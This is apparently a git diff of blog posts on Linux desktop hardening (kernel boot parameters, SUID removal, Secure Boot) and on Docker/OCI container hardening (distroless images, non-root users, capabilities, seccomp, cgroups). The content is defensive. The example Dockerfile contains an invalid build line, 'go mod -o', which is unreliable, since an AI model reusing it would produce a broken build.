- [2.3 Boot Parameters](https://madaidans-insecurities.github.io/guides/linux-hardening.html#boot-parameters)
|
||||
|
||||
Kicksecure comes with these boot parameters by default. This section is fairly short, so I'd recommend that you read it through. With that being said, here are all of the parameters that you would need:
|
||||
|
||||
```
|
||||
slab_nomerge init_on_alloc=1 init_on_free=1 page_alloc.shuffle=1 pti=on vsyscall=none debugfs=off oops=panic module.sig_enforce=1 lockdown=confidentiality mce=0 quiet loglevel=0 spectre_v2=on spec_store_bypass_disable=on tsx=off tsx_async_abort=full,nosmt mds=full,nosmt l1tf=full,force nosmt=force kvm.nx_huge_pages=force randomize_kstack_offset=on
|
||||
```
|
||||
|
||||
Note that [SMT](https://en.wikipedia.org/wiki/Simultaneous_multithreading) is disabled due to it being the cause of various security vulnerabilities. Also, on rpm-ostree based distributions, you should set the kernel parameters using `rpm-ostree kargs` rather than messing with grub configurations directly.
|
||||
|
||||
### Restricting access to /proc and /sys
|
||||
|
||||
You should read these 2 sections in Madaidan's guide to further reduce the attack surface on the kernel:
|
||||
|
||||
- [2.4 hidepid](https://madaidans-insecurities.github.io/guides/linux-hardening.html#hidepid)
|
||||
- [2.7 Restricting access to sysfs](https://madaidans-insecurities.github.io/guides/linux-hardening.html#restricting-sysfs)
|
||||
|
||||
Disabling access to `/sys` without a proper whitelist will lead to various applications breaking. This will unfortunately be an extremely tedious process for most users. Kicksecure, and by extension, Whonix, has the experimental [proc-hidepid](https://github.com/Kicksecure/security-misc/blob/master/lib/systemd/system/proc-hidepid.service) and [hide-hardware-info](https://github.com/Kicksecure/security-misc/blob/master/lib/systemd/system/hide-hardware-info.service) services which do just this. From my testing, these work perfectly fine on minimal Kicksecure installations and both Qubes-Whonix Workstation and Gateway.
|
||||
|
||||
### linux-hardened
|
||||
|
||||
Some distributions like Arch Linux have the [linux-hardened](https://github.com/anthraxx/linux-hardened) kernel package. It includes [hardening patches](https://wiki.archlinux.org/title/security#Kernel_hardening) and more security-conscious defaults.
|
||||
|
||||
linux-hardened has `kernel.unprivileged_userns_clone=0` disabled by default as well. See the [note above](#kernel-hardening) about how this might impact you.
|
||||
|
||||
### Linux Kernel Runtime Guard (LKRG)
|
||||
|
||||
LKRG is a kernel module that performs runtime integrity check on the kernel to help detect exploits against the kernel. LKRG works in a *post*-detect fashion, attempting to respond to unauthorized modifications to the running Linux kernel. While it is [bypassable by design](https://lkrg.org/), it does stop off-the-shelf malware that does not specifically target LKRG itself. This may make exploits harder to develop and execute on vulnerable systems.
|
||||
|
||||
If you can get LKRG and maintain module updates, it provides a worthwhile improvement to security. Debian-based distributions can get the LKRG DKMS package from KickSecure's repository and the [KickSecure documentation](https://www.kicksecure.com/wiki/Linux_Kernel_Runtime_Guard_LKRG) has installation instructions. Once again, if you are using Debian, consider [morphing](https://www.kicksecure.com/wiki/Debian) it into KickSecure. It should be noted that KickSecure does not currently install LKRG by default, and you will need to run `sudo apt install lkrg-dkms linux-headers-amd64` to obtain it.
|
||||
|
||||
On Fedora, [fepitre](https://github.com/fepitre), a QubesOS developer, has a [COPR repository](https://copr.fedorainfracloud.org/coprs/fepitre/lkrg/) where you can install it. Arch based systems can obtain the LKRG DKMS package via an [AUR package](https://aur.archlinux.org/packages/lkrg-dkms).
|
||||
|
||||
### grsecurity
|
||||
|
||||
grsecurity is a set of kernel patches that attempt to improve security of the Linux kernel. It requires [payment to access](https://grsecurity.net/purchase) the code and is worth using if you have a subscription.
|
||||
|
||||
### Disabling Simultaneous Multithreading (SMT)
|
||||
|
||||
[SMT](https://en.wikipedia.org/wiki/Simultaneous_multithreading) has been the cause of numerous hardware vulnerabilities, and subsequent patches for those vulnerabilities often come with performance penalties that negate a lot of the performance gain given by SMT. If you followed the “Hardening Boot Parameters” section above, some kernel parameters already disable SMT. If the option is available to you, I recommend that you disable it in your firmware as well.
|
||||
|
||||
### Hardened Memory Allocator
|
||||
|
||||
The [hardened memory allocator](https://github.com/GrapheneOS/hardened_malloc) from [GrapheneOS](https://grapheneos.org) can also be used on general Linux distributions. It is available as an [AUR package](https://wiki.archlinux.org/title/Security#Hardened_malloc) on Arch based distributions, and (though not enabled by default) on Whonix and Kicksecure.
|
||||
|
||||
On Fedora, there is currently a build for it by Divested Computing Group that you can find [here](https://github.com/divestedcg/rpm-hardened_malloc)
|
||||
|
||||
If you are using Whonix, Kicksecure or have Hardened_Malloc installed somewhere, consider setting up `LD_PRELOAD` as described in the [Kicksecure Documentation](https://www.kicksecure.com/wiki/Hardened_Malloc) or [Arch Wiki](https://wiki.archlinux.org/title/Security#Hardened_malloc).
|
||||
|
||||
### Mountpoint Hardening
|
||||
|
||||
Consider adding the [following options](https://man7.org/linux/man-pages/man8/mount.8.html) `nodev`, `noexec`, and `nosuid` to mountpoints which do not need them. Typically, these could be applied to `/boot`, `/boot/efi`, and `/var`.
|
||||
|
||||
These flags could also be applied to `/home` and `/root` as well, however, `noexec` will prevent applications from working that require binary execution in those locations. This includes products such as Flatpak and Snap. It should also be noted that this is not fool proof, as `noexec` is bypassable. You can see an example of that [here](https://chromium.googlesource.com/chromiumos/docs/+/HEAD/security/noexec_shell_scripts.md)
|
||||
|
||||
If you use [Toolbox](https://docs.fedoraproject.org/en-US/fedora-silverblue/toolbox/), you should not set any of those options on `/var/log/journal`. From my testing, the Toolbox container will fail to start if you have `nodev`, `nosuid`, or `noexec` on said directory. If you are on Arch Linux, you probably would not want to set `noexec` on `/var/tmp`, as it will make some AUR packages fail to build.
|
||||
|
||||
### Disabling SUID
|
||||
|
||||
SUID allows a user to execute an application as the owner of that application, which in many cases, would be the `root` user. Vulnerable SUID executables could lead to privilege escalation vulnerabilities.
|
||||
|
||||
It is desirable to remove SUID from as many binaries as possible; however, this takes substantial effort and trial and error on the user's part, as some applications require SUID to function.
|
||||
|
||||
Kicksecure, and by extension, Whonix has an experimental [permission hardening service](https://github.com/Kicksecure/security-misc/blob/master/lib/systemd/system/permission-hardening.service) and [application whitelist](https://github.com/Kicksecure/security-misc/tree/master/etc/permission-hardening.d) to automate SUID removal from most binaries and libraries on the system. From my testing, these work perfectly fine on a minimal Kicksecure installation and both Qubes-Whonix Workstation and Gateway.
|
||||
|
||||
If you are using Kicksecure or Whonix, consider enabling the `permission-hardening` service.
|
||||
|
||||
### Securing Time Synchronization
|
||||
|
||||
Most Linux distributions by default (especially distributions with `systemd-timesyncd`) use NTP for time synchronization which is unencrypted and unauthenticated. There are two ways to easily solve this problem:
|
||||
|
||||
- [Configure NTS with chronyd](https://fedoramagazine.org/secure-ntp-with-nts/)
|
||||
- Use [sdwdate](https://github.com/Kicksecure/sdwdate) on Debian based distributions.
|
||||
|
||||
If decide on using NTS with chronyd, consider using multiple different sources to synchronize your time with, and require at least half or more of those providers to actually change the time on your system.
|
||||
|
||||
[GrapheneOS](https://grapheneos.org) actually uses a quite nice configuration for this with their infrastructure. I recommend that you replicate their [`chrony.conf`](https://github.com/GrapheneOS/infrastructure/blob/main/chrony.conf) on your system.
|
||||
|
||||
### Linux Pluggable Authentication Modules (PAM)
|
||||
|
||||
The security of [PAM](https://en.wikipedia.org/wiki/Linux_PAM) can be [hardened](https://madaidans-insecurities.github.io/guides/linux-hardening.html#pam) to allow secure authentication to your system.
|
||||
|
||||
On Red Hat distributions you can use [`authselect`](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_authentication_and_authorization_in_rhel/configuring-user-authentication-using-authselect_configuring-authentication-and-authorization-in-rhel) to configure this e.g.:
|
||||
|
||||
```bash
|
||||
sudo authselect select <profile_id, default: sssd> with-faillock without-nullok with-pamaccess
|
||||
```
|
||||
|
||||
On systems where [`pam_faillock`](https://man7.org/linux/man-pages/man8/pam_tally.8.html) is not available, consider using [`pam_tally2`](https://man7.org/linux/man-pages/man8/pam_tally.8.html) instead.
|
||||
|
||||
If you have a Yubikey, you can also use the `pam_u2f` module to require second factor authentication for your login. Follow the [Arch Wiki](https://wiki.archlinux.org/title/Universal_2nd_Factor) documentation for this. Note that you **must** set a non-transient hostname before setting this up, as you will not be able to login when your hostname changes.
|
||||
|
||||
### Storage Media Handling
|
||||
|
||||
Most Linux distributions automatically mount arbitary filesystems from storage medias plugged into the computer. This is a security risk, as an adversary can attach a malicious storage device to your computer to exploit vulnerable filesystem drivers.
|
||||
|
||||
**udisks**
|
||||
|
||||
On systems which use `udisks` to automount and use `GNOME`/`Cinnamon` as their desktop environment, along with `Nautilus`/`Nemo` as the file manager can mitigate this risk by running the following commands:
|
||||
|
||||
```bash
|
||||
echo "[org/gnome/desktop/media-handling]
|
||||
automount=false
|
||||
automount-open=false" | sudo tee /etc/dconf/db/local.d/custom
|
||||
|
||||
sudo dconf update
|
||||
```
|
||||
|
||||
This will set the default `dconf` settings for new users and override all `dconf` settings for existing users. Note that this can be overidden by regular users on your system, simply by changing their individual `dconf` settings.
|
||||
|
||||
**autofs**
|
||||
|
||||
On older systems where `autofs` is used, you should mask the `autofs` service to disable this behavior.
|
||||
|
||||
**Whonix**
|
||||
|
||||
On Whonix, you generally do not need to worry about this behavior since it is disabled by default.
|
||||
|
||||
### USB Port Protection
|
||||
|
||||
To better protect your [USB](https://en.wikipedia.org/wiki/USB) ports from attacks such as [BadUSB](https://en.wikipedia.org/wiki/BadUSB), I recommend [USBGuard](https://github.com/USBGuard/usbguard). USBGuard has [documentation](https://github.com/USBGuard/usbguard#documentation) as does the [Arch Wiki](https://wiki.archlinux.org/title/USBGuard).
|
||||
|
||||
Another alternative option if you’re using the [linux-hardened](#linux-hardened) is the [`deny_new_usb`](https://github.com/GrapheneOS/linux-hardened/commit/96dc427ab60d28129b36362e1577b6673b0ba5c4) sysctl. See [Preventing USB Attacks with `linux-hardened`](https://blog.lizzie.io/preventing-usb-attacks-with-linux-hardened.html).
|
||||
|
||||
## Secure Boot
|
||||
|
||||
[Secure Boot](https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface#Secure_Boot) can be used to secure the boot process by preventing the loading of [unsigned](https://en.wikipedia.org/wiki/Public-key_cryptography) [UEFI](https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface) drivers or [boot loaders](https://en.wikipedia.org/wiki/Bootloader).
|
||||
|
||||
One of the problems with Secure Boot, particularly on Linux is, that only the chainloader (shim), the [boot loader](https://en.wikipedia.org/wiki/Bootloader) (GRUB), and the [kernel](https://en.wikipedia.org/wiki/Kernel_(operating_system)) are verified and that's where verification stops. The [initramfs](https://en.wikipedia.org/wiki/Initial_ramdisk) is often left unverified, unencrypted, and open up the window for an [evil maid](https://en.wikipedia.org/wiki/Evil_maid_attack) attack. The firmware on most devices is also configured to trust Microsoft's keys for Windows and its partners, leading to a large attacks surface.
|
||||
|
||||
To eliminate the need to trust Microsoft's keys, either follow the "Using your own keys" section on the [Arch Wiki](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot) or use [sbctl](https://github.com/Foxboron/sbctl). The important thing that needs to be done here is to replace the OEM's key with your own Platform Key.
|
||||
|
||||
There are several ways to work around the unverified initramfs:
|
||||
|
||||
### Encrypted /boot
|
||||
|
||||
The first way is to [encrypt the /boot partition](https://wiki.archlinux.org/title/GRUB#Encrypted_/boot). If you are on Fedora Workstation (not Silverblue), you can follow [this guide](https://mutschler.dev/linux/fedora-btrfs-33/) to convert the existing installation to encrypted `/boot`. openSUSE comes with this that by default.
|
||||
|
||||
Encrypting `/boot` however have its own issues, one being that [GRUB](https://en.wikipedia.org/wiki/GNU_GRUB) does not support LUKS2 well, so you will most likely need to fall back to using the old LUKS1 encryption scheme. In particular, it only supports PBKDF2 key derivation, and not Argon2 (the default with LUKS2). The `grub-install` command, from my own testing, also seems to have trouble detecting LUKS2 volumes, while it works just fine with LUKS1 volumes. Another problem with encrypted `/boot` is that you have to type the encryption password twice, though it could be solved by following the [openSUSE Wiki](https://en.opensuse.org/SDB:Encrypted_root_file_system#Avoiding_to_type_the_passphrase_twice).
|
||||
|
||||
There are a few options depending on your configuration:
|
||||
|
||||
- If you enroll your own keys as described above, and your distribution supports Secure Boot by default, you can add your distribution's EFI Key into the list of trusted keys (db keys). It can then be enrolled into the firmware. Then, you should move all of your keys off your local storage device.
|
||||
- If you enroll your own keys as described above, and your distribution does **not** support Secure Boot out of the box (like Arch Linux), you have to leave the keys on the disk and setup automatic signing of the [kernel](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Signing_the_kernel_with_a_pacman_hook) and bootloader. If you are using Grub, you can install it with the `--no-shim-lock` option and remove the need for the chainloader.
|
||||
|
||||
### Unified Kernel Image
|
||||
|
||||
The second option is to creating an [Unified Kernel Image](https://wiki.archlinux.org/title/Unified_kernel_image) that contains the kernel, [initramfs](https://en.wikipedia.org/wiki/Initial_ramdisk), and [microcode](https://en.wikipedia.org/wiki/Microcode). This EFI stub can then be signed. I recommend using [sbctl](https://github.com/Foxboron/sbctl) to generate such EFI image. This option also requires you to leave the keys on the disk to setup automatic signing, which weakens the security model.
|
||||
|
||||
### Notes
|
||||
|
||||
After setting up Secure Boot it is crucial that you set a “firmware password” (also called a “supervisor password”, “BIOS password” or “UEFI password”), otherwise an adversary can simply disable Secure Boot.
|
||||
|
||||
These recommendations can make you a little more resistant to [evil maid](https://en.wikipedia.org/wiki/Evil_maid_attack) attacks, but they not good as a proper verified boot process such as that found on [Android](https://source.android.com/security/verifiedboot), [ChromeOS](https://support.google.com/chromebook/answer/3438631) or [Windows](https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process).
|
258
content/posts/linux/Docker and OCI Hardening.md
Normal file
258
content/posts/linux/Docker and OCI Hardening.md
Normal file
|
@ -0,0 +1,258 @@
|
|||
---
|
||||
title: "Docker and OCI Hardening"
|
||||
date: 2022-03-30T21:23:12Z
|
||||
tags: ['Applications', 'Linux', 'Container', 'Security']
|
||||
author: Wonderfall
|
||||
canonicalURL: https://wonderfall.dev/docker-hardening/
|
||||
ShowCanonicalLink: true
|
||||
---
|
||||
|
||||
Containers aren't that new fancy thing anymore, but they were a big deal. And they still are. They are a concrete solution to the following problem:
|
||||
|
||||
> \- Hey, your software doesn't work...
|
||||
>
|
||||
> \- Sorry, it works on my computer! Can't help you.
|
||||
|
||||
Whether we like them or not, containers are here to stay. Their expressiveness and semantics allow for an abstraction of the OS dependencies that a software has, the latter being often dynamically linked against certain libraries. The developer can therefore provide a known-good environment where it is expected that their software "just works". That is particularly useful for development to eliminate environment-related issues, and that is often used in production as well.
|
||||
|
||||
Containers are often perceived as a great tool for isolation, that is, they can provide an isolated workspace that won't pollute your host OS - all that without the overhead of virtual machines. Security-wise: containers, as we know them on Linux, are glorified namespaces at their core. Containers usually share the same kernel with the host, and **namespaces** is the kernel feature for separating kernel resources across containers (IDs, networks, filesystems, IPC, etc.). Containers also leverage the features of **cgroups** to separate system resources (CPU, memory, etc.), and security features such as seccomp to restrict syscalls, or MACs (AppArmor, SELinux).
|
||||
|
||||
At first, it seems that containers may not provide the same isolation boundary as virtual machines. That's fine, they were not designed to. But they can't be simplified to a simple `chroot` either. We'll see that a "container" can mean a lot of things, and their definition may vary a lot depending on the implementation: as such, containers are mostly defined by their semantics.
|
||||
|
||||
## Docker is dead, long live Docker... and OCI!
|
||||
When people think of containers, a large group of them may think of Docker. While Docker played a big role in the popularity of containers a few years ago, it didn't introduce the technology: on Linux, LXC did (*Linux Containers*). In fact, Docker in its early days was a high-level wrapper for LXC which already combined the power of namespaces and cgroups. Docker then replaced LXC with `libcontainer` which does more or less the same, plus extra features.
|
||||
|
||||
Then, what happened? *Open Container Initiative* (OCI). That is the current standard that defines the container ecosystem. That means that whether you're using Docker, Podman, or Kubernetes, you're in fact running OCI-compliant tools. That is a good thing, as it saves a lot of interoperability headaches.
|
||||
|
||||
**Docker** is no longer the monolithic platform it once was. `libcontainer` was absorbed by `runc`, the reference OCI runtime. The high-level components of Docker split into different parts related to the upstream Moby project (Docker is the "assembled product" of the "Moby components"). When we refer to Docker, we refer in fact at this powerful high-level API that manages OCI containers. By design, Docker is a daemon that communicates with `containerd`, a lower-level layer, which in turn communicates with the OCI runtime. That also means that you could very well skip Docker altogether and use `containerd` or even `runc` directly.
|
||||
|
||||
```
|
||||
Docker client <=> Docker daemon <=> containerd <=> containerd-shim <=> runc
|
||||
```
|
||||
|
||||
**Podman** is an alternative to Docker developed by RedHat, that also intends to be a drop-in replacement for Docker. It doesn't work with a daemon, and can work rootless by design (Docker has support for rootless too, but that is not without caveats). I would largely recommend Podman over Docker for someone who wants a simple tool to run containers and test code on their machine.
|
||||
|
||||
**Kubernetes** (also known as K8S) is the container platform made by Google. It is designed with scaling in mind, and is about running containers across a cluster whereas Docker focuses on packaging containers on a single node. Docker Swarm is the direct alternative to that, but it has never really took off due to the popularity of K8S.
|
||||
|
||||
For the rest of this article, we will use Docker as the reference for our examples, along with the [Compose specification](https://docs.docker.com/compose/compose-file/) format. Most of these examples can be adapted to other platforms without issues.
|
||||
|
||||
## The nightmare of dependencies
|
||||
Containers are made from images, and images are typically built from a Dockerfile. Images can be built and distributed through OCI registries: [Docker Hub](https://hub.docker.com/), [Google Container Registry](https://cloud.google.com/container-registry), [GitHub Container Registry](https://docs.github.com/en/packages/working-with-a-github-packages-registry/working-with-the-container-registry), and so on. You can also set up your own private registry as well, but the reality is that people often pull images from these public registries.
|
||||
|
||||
### Images, immutability and versioning
|
||||
Images are what make containers, well, containers. Containers made from the same image should behave similarly on different machines. Images can have **tags**, which are useful for software versioning. The usage of generic tags such as `latest` is often discouraged because it defeats the purpose of the expected behavior of the container. Tags are not necessarily immutable by design, and they shouldn't be (more on that below). **Digest**, however, is the attribute of an immutable image, and is often generated with the SHA-256 algorithm.
|
||||
|
||||
```
|
||||
docker.io/library/golang:1.17.1@sha256:232a180dbcbcfa7250917507f3827d88a9ae89bb1cdd8fe3ac4db7b764ebb25
|
||||
^ ^ ^ ^
|
||||
| | | |
|
||||
Registry Image Tag Digest (immutable)
|
||||
```
|
||||
|
||||
Now onto why tags shouldn't be immutable: as written above, containers bring us an abstraction over the OS dependencies that are used by the packaged software. That is nice indeed, but this shouldn't lure us into believing that we can forget security updates. The fact is, **there is still a whole OS to care about**, and we can't just think of the container as a simple package tool for software.
|
||||
|
||||
For these reasons, good practices were established:
|
||||
- An image should be as minimal as possible (Alpine Linux, or scratch/distroless).
|
||||
- An image, with a given tag, should be regularly built, without cache to ensure all layers are freshly built.
|
||||
- An image should be rebuilt when the images it's based on are updated.
|
||||
|
||||
### A minimal base system
|
||||
[Alpine Linux](https://alpinelinux.org/) is often the choice for official images for the first reason. This is not a typical Linux distribution as it uses musl as its C library, but it works quite well. Actually, I'm quite fond of Alpine Linux and `apk` (its package manager). If a supervision suite is needed, I'd look into `s6`. If you need a glibc distribution, Debian provides slim variants for lightweight base images. We can do even better than using Alpine by using **distroless images**, allowing us to have state-of-the-art application containers.
|
||||
|
||||
"Distroless" is a fancy name referring to an image with a minimal set of dependencies, from none (for fully static binaries) to some common libraries (typically the C library). Google maintains [distroless images](https://github.com/GoogleContainerTools/distroless) you can use as a base for your own images. If you were wondering, the difference with `scratch` (empty starting point) is that distroless images contain common dependencies that "almost-statically compiled" binaries may need, such as `ca-certificates`.
|
||||
|
||||
However, distroless images are not suited for every application. In my experience though, distroless is an excellent option with pure Go binaries. Going with minimal images drastically reduces the available attack surface in the container. For example, here's a [multi-stage Dockerfile](https://docs.docker.com/develop/develop-images/multistage-build/) resulting in a minimal non-root image for a simple Go project:
|
||||
|
||||
```Dockerfile
|
||||
FROM golang:alpine as build
|
||||
WORKDIR /app
|
||||
COPY . .
|
||||
RUN CGO_ENABLED=0 go mod -o /my_app cmd/my_app
|
||||
|
||||
FROM gcr.io/distroless/static
|
||||
COPY --from=build /my_app /
|
||||
USER nobody
|
||||
ENTRYPOINT ["/my_app"]
|
||||
```
|
||||
|
||||
The main drawback of using minimal images is the lack of tools that help with debugging, which also constitute the very attack surface we're trying to get rid of. The trade-off is probably not worth the hassle for development-focused containers, and if you're running such images in production, you have to be confident enough to operate with them. Note that the `gcr.io/distroless` images have a `:debug` tag to help in that regard.
|
||||
|
||||
### Keeping images up-to-date
|
||||
The two other points are highly problematic, because most software vendors just publish an image on release, and forget about it. You should take it up to them if you're running images that are versioned but not regularly updated. I'd say running scheduled builds **once a week** is the bare minimum to make sure dependencies stay up-to-date. Alpine Linux is a better choice than most other "stable" distributions because it usually has more recent packages.
|
||||
|
||||
Stable distributions often rely on backporting security fixes from CVEs, which is known to be a flawed approach to security since CVEs aren't always assigned or even taken care of. Alpine has more recent packages, and it has versioning, so it's once again a particularly good choice as long as `musl` doesn't cause issues.
|
||||
|
||||
### Is it really a security nightmare?
|
||||
When people say Docker is a security nightmare because of that, that's a fair point. On a traditional system, you could upgrade your whole system with a single command or two. With Docker, you'll have to recreate several containers... if the images were kept up-to-date in the first place. Recreating itself is not a big deal actually: hot upgrades of binaries and libraries often require the services that use them to restart, otherwise they could still use an old (and vulnerable) version of them in memory. But yeah, the fact is most people are running outdated containers, and more often than not, they don't have the choice if they rely on third-party images.
|
||||
|
||||
[Trivy](https://github.com/aquasecurity/trivy) is an excellent tool to scan images for a subset of **known vulnerabilities** an image might have. You should play with it and see for yourself how outdated many publicly available images are.
|
||||
|
||||
### Supply-chain attacks
|
||||
As with any code downloaded from a software vendor, OCI images are not exempt from supply-chain attacks. The good practice is quite simple: rely on official images, and ideally build and maintain your own images. One should definitely not automatically trust random third-party images they can find on Docker Hub. Half of these images, if not more, contain vulnerabilities, and I bet a good portion of them contains malwares [such as miners](https://www.trendmicro.com/vinfo/fr/security/news/virtualization-and-cloud/malicious-docker-hub-container-images-cryptocurrency-mining) or worse.
|
||||
|
||||
As an image maintainer, you can sign your images to improve the authenticity assurance. Most official images make use of [Docker Content Trust](https://docs.docker.com/engine/security/trust/), which works with a OCI registry attached to a [Notary server](https://github.com/notaryproject/notary). With the Docker toolset, setting the environment variable `DOCKER_CONTENT_TRUST=1` enforces signature verification (a signature is only good if it's checked in the first place). The SigStore initiative is developing [cosign](https://github.com/sigstore/cosign), an alternative that doesn't require a Notary server because it works with features already provided by the registry such as tags. Kubernetes users may be interested in [Connaisseur](https://github.com/sse-secure-systems/connaisseur) to ensure all signatures have been validated.
|
||||
|
||||
## Leave my root alone!
|
||||
|
||||
### Attack surface
|
||||
Traditionally, Docker runs as a daemon owned by root. That also means that root in the container is actually the root on the host and may be a few commands away from compromising the host. More generally, the attacker has to exploit the available attack surface to escape the container. There is a huge attack surface, actually: the Linux kernel. [Someone wise once said](https://grsecurity.net/huawei_hksp_introduces_trivially_exploitable_vulnerability):
|
||||
|
||||
> The kernel can effectively be thought of as the largest, most vulnerable setuid root binary on the system.
|
||||
|
||||
That applies particularly to traditional containers which weren't designed to provide a robust level of isolation. A recent example was [CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/): the attacker could abuse root in the container to exploit cgroups v1, and compromise the host. Of course defense-in-depth measures would have prevented that, and we'll mention them. But fundamentally, container escapes are possible by design.
|
||||
|
||||
Breaking out via the OCI runtime `runc` is also possible, although [CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/) was a particularly nasty bug. The attacker had to gain access to root in the container first in order to access `/proc/[runc-pid]/exe`, which indicates them where to overwrite the `runc` binary.
|
||||
|
||||
Good practices have been therefore established:
|
||||
- Avoid using root in the container, plain and simple.
|
||||
- Keep the host kernel, Docker and the OCI runtime updated.
|
||||
- Consider the usage of user namespaces.
|
||||
|
||||
By the way, it goes without saying that any user who has access to the Docker daemon should be considered as privileged as root. Mounting the Docker socket (`/var/run/docker.sock`) in a container makes it highly privileged, and so it should be avoided. The socket should only be owned by root, and if that doesn't work with your environment, use Docker rootless or Podman.
|
||||
|
||||
### Avoiding root
|
||||
root can be avoided in different ways in the final container:
|
||||
- Image creation time: setting the `USER` instruction in the Dockerfile.
|
||||
- Container creation time: via the tools available (`user:` in the Compose file).
|
||||
- Container runtime: degrading privileges with entrypoints scripts (`gosu UID:GID`).
|
||||
|
||||
Well-made images with security in mind will have a `USER` instruction. In my experience, most people will run images blindly, so it's good harm reduction. Setting the user manually works in some images that aren't designed without root in mind, and it's also great to mitigate some *scenarii* where the image is controlled by an attacker. You also won't have surprises when mounting volumes, so I highly recommend setting the user explicitly and make sure volume permissions are correct once.
|
||||
|
||||
Some images allow users to define their own user with UID/GID environment variables, with an entrypoint script that runs as root and takes care of the volume permissions before dropping privileges. While technically fine, it is still attack surface, and it requires the `SETUID`/`SETGID` capabilities to be available in the container.
|
||||
|
||||
### User namespaces: sandbox or paradox?
|
||||
As mentioned just above, [user namespaces](https://www.man7.org/linux/man-pages/man7/user_namespaces.7.html) are a solution to ensure root in the container is not root on the host. Docker supports user namespaces, for instance you could set the default mapping in `/etc/docker/daemon.json`:
|
||||
|
||||
```
|
||||
"userns-remap": "default"
|
||||
```
|
||||
|
||||
`whoami && sleep 60` in the container will return root, but `ps -fC sleep` on the host will show us the PID of another user. That is nice, but it has limitations and therefore shouldn't be considered as a real sandbox. In fact, the paradox is that [user namespaces are attack surface](https://lists.archlinux.org/pipermail/arch-general/2017-February/043066.html) (and vulnerabilities are still being found [years later](https://www.openwall.com/lists/oss-security/2022/01/29/1)), and it's common wisdom to restrict them to privileged users (`kernel.unprivileged_userns_clone=0`). That is fine for Docker with its traditional root daemon, but Podman expects you to let unprivileged users interact with user namespaces (so essentially privileged code).
|
||||
|
||||
Enabling `userns-remap` in Docker shouldn't be a substitute for running unprivileged application containers (where applicable). User namespaces are mostly useful if you intend to run full-fledged OS containers which need root in order to function, but that is out of the scope of the container technologies mentioned in this article; for them, I'd argue exposing such a vulnerable attack surface from the host kernel for dubious sandboxing benefits isn't an interesting trade-off to make.
|
||||
|
||||
### The no_new_privs bit
|
||||
After ensuring root isn't used in your containers, you should look into setting the `no_new_privs` bit. [This Linux feature](https://docs.kernel.org/userspace-api/no_new_privs.html) restricts syscalls such as `execve()` from granting privileges, which is what you want to restrict in-container privilege escalation. This flag can be set for a given container in a Compose file:
|
||||
|
||||
```
|
||||
security_opt:
|
||||
- no-new-privileges: true
|
||||
```
|
||||
|
||||
Gaining privileges in the container will be much harder that way.
|
||||
|
||||
### Capabilities
|
||||
Furthermore, we should mention capabilities: root powers are divided into distinct units by the Linux kernel, called capabilities. Each granted capability also grants privilege and therefore access to a significant amount of attack surface. Security researcher Brad Spengler enumerates [19 important capabilities](https://forums.grsecurity.net/viewtopic.php?f=7&t=2522#p10271). Docker **restricts certain capabilities by default**, but [some of the most important ones](https://github.com/moby/moby/blob/1308a3a99faa13ff279dcb4eb5ad23aee3ab5cdb/oci/caps/defaults.go) are still available to a container by default.
|
||||
|
||||
You should consider the following rule of thumb:
|
||||
- Drop all capabilities by default.
|
||||
- Allow only the ones you really need to.
|
||||
|
||||
If you already run your containers unprivileged without root, your container will very likely work fine with all capabilities dropped. That can be done in a Compose file:
|
||||
|
||||
```
|
||||
cap_drop:
|
||||
- ALL
|
||||
#cap_add:
|
||||
# - CHOWN
|
||||
# - DAC_READ_SEARCH
|
||||
# - SETUID
|
||||
# - SETGID
|
||||
```
|
||||
Never use the `--privileged` option unless you really need to: a privileged container is given access to almost all capabilities, kernel features and devices.
|
||||
|
||||
## Other security features
|
||||
MACs and seccomp are robust tools that may vastly improve container security.
|
||||
|
||||
### Mandatory Access Control
|
||||
MAC stand for Mandatory Access Control: traditionally a Linux Security Module that will enforce a policy to restrict the userspace. Examples are **AppArmor** and **SELinux**: the former being more easy-to-use, the later being more fine-grained. Both are strong tools that can help... Yet, their sole presence does not mean they're really effective. A robust policy starts from a *deny all* policy, and only allows the necessary resources to be accessed.
|
||||
|
||||
### seccomp
|
||||
seccomp (short for secure computing mode) on the other hand is a much simpler and complementary tool, and there is no reason not to use it. What it does is restricting a process to a set of system calls, thus drastically reducing the attack surface available.
|
||||
|
||||
Docker provides default profiles for [AppArmor](https://github.com/moby/moby/tree/85eaf23bf46b12827273ab2ff523c753117dbdc7/profiles/apparmor) and [seccomp](https://github.com/moby/moby/blob/85eaf23bf46b12827273ab2ff523c753117dbdc7/profiles/seccomp/default.json), and they're enabled by default for newly created containers unless the `unconfined` option is explicitly passed. Note: Kubernetes doesn't enable the default seccomp profile by default, so you should probably [try it](https://kubernetes.io/docs/tutorials/security/seccomp/#enable-the-use-of-runtimedefault-as-the-default-seccomp-profile-for-all-workloads).
|
||||
|
||||
These profiles are a great start, but you should do much more if you take security seriously, because they were made to not break compatibility with a large range of images. The default seccomp profile only disables [around 44 syscalls](https://docs.docker.com/engine/security/seccomp/#significant-syscalls-blocked-by-the-default-profile), which are mostly not very common and/or obsoleted. Of course, the best profile you can get is supposed to be written for a given program. It also doesn't make sense to insist on the permissiveness of the default profiles, and [a lof of work has gone](https://blog.jessfraz.com/post/containers-security-and-echo-chambers/) into hardening containers.
|
||||
|
||||
### cgroups
|
||||
Use cgroups to restrict access to hardware and system resources. You likely don't want a guest container to monopolize the host resources. You also don't want to be vulnerable to stupid fork bomb attacks. In a Compose file, consider setting these limits:
|
||||
|
||||
```
|
||||
mem_limit: 4g
|
||||
cpus: 4
|
||||
pids_limit: 256
|
||||
```
|
||||
|
||||
More runtime options can be found in [the official documentation](https://docs.docker.com/config/containers/resource_constraints/). All of them should have a [Compose spec](https://github.com/compose-spec/compose-spec/blob/master/spec.md) equivalent.
|
||||
|
||||
The `--cgroup-parent` option should be avoided as it uses the host cgroup and not the one configured from Docker (or else), which is the default.
|
||||
|
||||
### Read-only filesystem
|
||||
It is good practice to treat the image as some refer to as the "golden image".
|
||||
|
||||
